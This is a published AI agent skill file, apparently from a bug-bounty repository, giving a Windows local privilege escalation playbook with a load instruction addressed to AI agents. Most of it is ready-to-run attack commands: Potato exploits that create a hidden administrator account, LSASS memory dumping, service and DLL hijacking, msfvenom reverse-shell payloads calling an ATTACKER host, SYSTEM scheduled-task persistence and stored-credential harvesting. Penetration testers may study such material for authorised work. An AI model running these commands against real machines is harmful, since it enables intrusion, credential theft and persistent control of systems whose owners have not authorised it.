Windows privilege escalation
Skill ShulkwiSEC/bb-huge/skills/curated/windows-privilege-escalation
bb-huge π€ , Personal bug bounty findings hub and bug bounty orchestration for multiple agents
npx -y skills add ShulkwiSEC/bb-huge --skill windows-privilege-escalationAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
Windows local privilege escalation playbook. Use when you have low-privilege shell access on Windows and need to escalate via token abuse, Potato exploits, service misconfigurations, DLL hijacking, UAC bypass, or registry autoruns.
SKILL.md
10.5 KB, as published. Nobody here has run it
SKILL: Windows Local Privilege Escalation β Expert Attack Playbook
AI LOAD INSTRUCTION: Expert Windows privesc techniques. Covers token manipulation, Potato family, service misconfigurations, DLL hijacking, AlwaysInstallElevated, scheduled task abuse, registry autoruns, and named pipe impersonation. Base models miss nuanced privilege prerequisites and OS-version-specific constraints.
0. RELATED ROUTING
Before going deep, consider loading:
- windows-lateral-movement after escalation for pivoting to other hosts
- windows-av-evasion when AV/EDR blocks your privesc tools
- active-directory-kerberos-attacks when the host is domain-joined and you need AD-level escalation
- active-directory-acl-abuse for domain privilege escalation via ACL misconfigurations
Advanced Reference
Also load TOKEN_POTATO_TRICKS.md when you need:
- Detailed Potato family comparison (JuicyPotato β GodPotato evolution)
- OS-version-specific exploit selection
- Required privileges and protocol details per variant
Also load UAC_BYPASS_METHODS.md when you need:
- UAC bypass technique matrix (fodhelper, eventvwr, sdclt, etc.)
- Auto-elevate binary abuse
- Mock trusted directory tricks
1. ENUMERATION CHECKLIST
System Context
whoami /all & REM Current user, groups, privileges
systeminfo & REM OS version, hotfixes, architecture
hostname & REM Machine name
net user %USERNAME% & REM Group memberships
Token Privileges (Critical)
whoami /priv
| Privilege | Escalation Path |
|---|---|
SeImpersonatePrivilege | Potato family exploits (Β§2) |
SeAssignPrimaryTokenPrivilege | Token manipulation, Potato variants |
SeDebugPrivilege | Dump LSASS, inject into SYSTEM processes |
SeBackupPrivilege | Read any file (SAM/SYSTEM/NTDS.dit) |
SeRestorePrivilege | Write any file (DLL hijack, service binary) |
SeTakeOwnershipPrivilege | Take ownership of any object |
SeLoadDriverPrivilege | Load vulnerable kernel driver β kernel exploit |
Services & Scheduled Tasks
sc query state= all & REM All services
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
schtasks /query /fo LIST /v & REM Verbose scheduled task list
Installed Software & Patches
wmic product get name,version
wmic qfe list & REM Installed patches
Network & Credentials
netstat -ano & REM Listening ports + PIDs
cmdkey /list & REM Stored credentials
dir C:\Users\*\AppData\Local\Microsoft\Credentials\*
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul
2. TOKEN MANIPULATION & POTATO EXPLOITS
SeImpersonatePrivilege Abuse
Service accounts (IIS AppPool, MSSQL, etc.) typically hold SeImpersonatePrivilege. This enables impersonation of any token presented to you.
| Tool | OS Support | Protocol | Notes |
|---|---|---|---|
| JuicyPotato | Win7βServer2016 | COM/DCOM | Requires valid CLSID; patched on Server2019+ |
| RoguePotato | Server2019+ | OXID resolver redirect | Needs controlled machine on port 135 |
| PrintSpoofer | Win10/Server2016-2019 | Named pipe via Print Spooler | Simple, fast; Spooler must run |
| SweetPotato | Broad | COM + Print + EFS | Combines multiple techniques |
| GodPotato | Win8βServer2022 | DCOM RPCSS | Works on latest patched systems |
# PrintSpoofer (simplest for modern systems)
PrintSpoofer64.exe -i -c "cmd /c whoami"
# GodPotato (broadest compatibility)
GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add && net localgroup administrators hacker /add"
# JuicyPotato (legacy systems)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}
SeDebugPrivilege Abuse
# Dump LSASS (if SeDebugPrivilege is enabled)
procdump -ma lsass.exe lsass.dmp
# Or migrate into a SYSTEM process
# Meterpreter: migrate to winlogon.exe / services.exe
3. SERVICE MISCONFIGURATIONS
Unquoted Service Paths
# Find unquoted paths with spaces
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
If path is C:\Program Files\My App\service.exe, Windows tries:
C:\Program.exeC:\Program Files\My.exeC:\Program Files\My App\service.exe
Place malicious binary at first writable location.
Weak Service Permissions
# Check service ACL with accesschk (Sysinternals)
accesschk64.exe -wuvc * /accepteula
# Look for: SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS
# Reconfigure service to run attacker binary
sc config vuln_svc binpath= "C:\temp\rev.exe"
sc stop vuln_svc
sc start vuln_svc
Writable Service Binaries
# Check if current user can write to the service binary path
icacls "C:\Program Files\VulnApp\service.exe"
# (F) = Full, (M) = Modify, (W) = Write β replace binary
4. DLL HIJACKING
DLL Search Order (Standard)
- Directory of the executable
C:\Windows\System32C:\Windows\SystemC:\Windows- Current directory
- Directories in
%PATH%
Exploitation
# Find missing DLLs (use Process Monitor)
# Filter: Result=NAME NOT FOUND, Path ends with .dll
# Compile malicious DLL
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll > evil.dll
# Place in writable directory that comes before the real DLL location
Known Phantom DLL Targets
| Application | Missing DLL | Drop Location |
|---|---|---|
| Various .NET apps | profapi.dll | Application directory |
| Windows services | wlbsctrl.dll | %PATH% writable dir |
| Third-party updaters | VERSION.dll | Application directory |
5. ALWAYSINSTALLELEVATED
# Check both registry keys β BOTH must be set to 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Generate MSI payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f msi > evil.msi
msiexec /quiet /qn /i evil.msi
6. SCHEDULED TASK ABUSE
# Enumerate tasks with writable scripts or missing binaries
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|Schedule Type"
# Check permissions on task binary
icacls "C:\path\to\task\binary.exe"
# If writable: replace binary, wait for task execution
# If missing: place your binary at the expected path
Scheduled Task via PowerShell
# If you can create tasks (unlikely from low priv, useful post-UAC-bypass)
$action = New-ScheduledTaskAction -Execute "C:\temp\rev.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "Updater" -Action $action -Trigger $trigger -User "SYSTEM"
7. REGISTRY AUTORUNS
# Check writable autorun locations
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
# Check permissions with accesschk
accesschk64.exe -wvu "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /accepteula
If an autorun entry points to a writable path β replace binary or inject new entry.
8. NAMED PIPE IMPERSONATION
# Service account creates a named pipe, tricks a SYSTEM process into connecting
# The connecting client's token is then impersonated
# PrintSpoofer leverages this with the Print Spooler:
PrintSpoofer64.exe -i -c powershell.exe
Custom named pipe server (requires SeImpersonatePrivilege):
# Create pipe β coerce SYSTEM connection β ImpersonateNamedPipeClient() β SYSTEM token
9. AUTOMATED TOOLS
| Tool | Purpose | Command |
|---|---|---|
| winPEAS | Comprehensive Windows enumeration | winPEASx64.exe |
| PowerUp | Service/DLL/registry misconfig checks | Invoke-AllChecks |
| Seatbelt | Security-focused host survey | Seatbelt.exe -group=all |
| SharpUp | C# port of PowerUp checks | SharpUp.exe audit |
| PrivescCheck | PowerShell privesc checker | Invoke-PrivescCheck |
| BeRoot | Common misconfig finder | beRoot.exe |
10. PRIVILEGE ESCALATION DECISION TREE
Low-privilege shell on Windows
β
βββ whoami /priv β SeImpersonatePrivilege?
β βββ Yes β Potato family (Β§2)
β β βββ Server2019+/Win11 β GodPotato or PrintSpoofer
β β βββ Server2016/Win10 β PrintSpoofer or SweetPotato
β β βββ Older β JuicyPotato (need CLSID)
β βββ SeDebugPrivilege? β LSASS dump / process injection
β
βββ Service misconfigurations?
β βββ Unquoted path with spaces + writable dir? β binary plant (Β§3)
β βββ SERVICE_CHANGE_CONFIG on service? β reconfigure binpath (Β§3)
β βββ Writable service binary? β replace executable (Β§3)
β
βββ DLL hijacking opportunity?
β βββ Missing DLL in search path? β plant malicious DLL (Β§4)
β βββ Writable directory in %PATH%? β DLL plant (Β§4)
β
βββ AlwaysInstallElevated set?
β βββ Both HKLM+HKCU = 1 β MSI payload (Β§5)
β
βββ Scheduled task abuse?
β βββ Task runs as SYSTEM with writable binary? β replace (Β§6)
β βββ Task references missing binary? β plant binary (Β§6)
β
βββ Registry autorun writable?
β βββ Writable binary path β replace on next login/reboot (Β§7)
β
βββ UAC bypass needed? (medium integrity β high integrity)
β βββ Load UAC_BYPASS_METHODS.md
β
βββ Stored credentials?
β βββ cmdkey /list β runas /savecred
β βββ Autologon in registry? β plaintext creds
β βββ WiFi passwords, browser creds, DPAPI
β
βββ None of the above?
βββ Run winPEAS for comprehensive scan
βββ Check internal services (netstat -ano)
βββ Look for sensitive files (unattend.xml, web.config, *.config)
βββ Check for kernel exploits (systeminfo β Windows Exploit Suggester)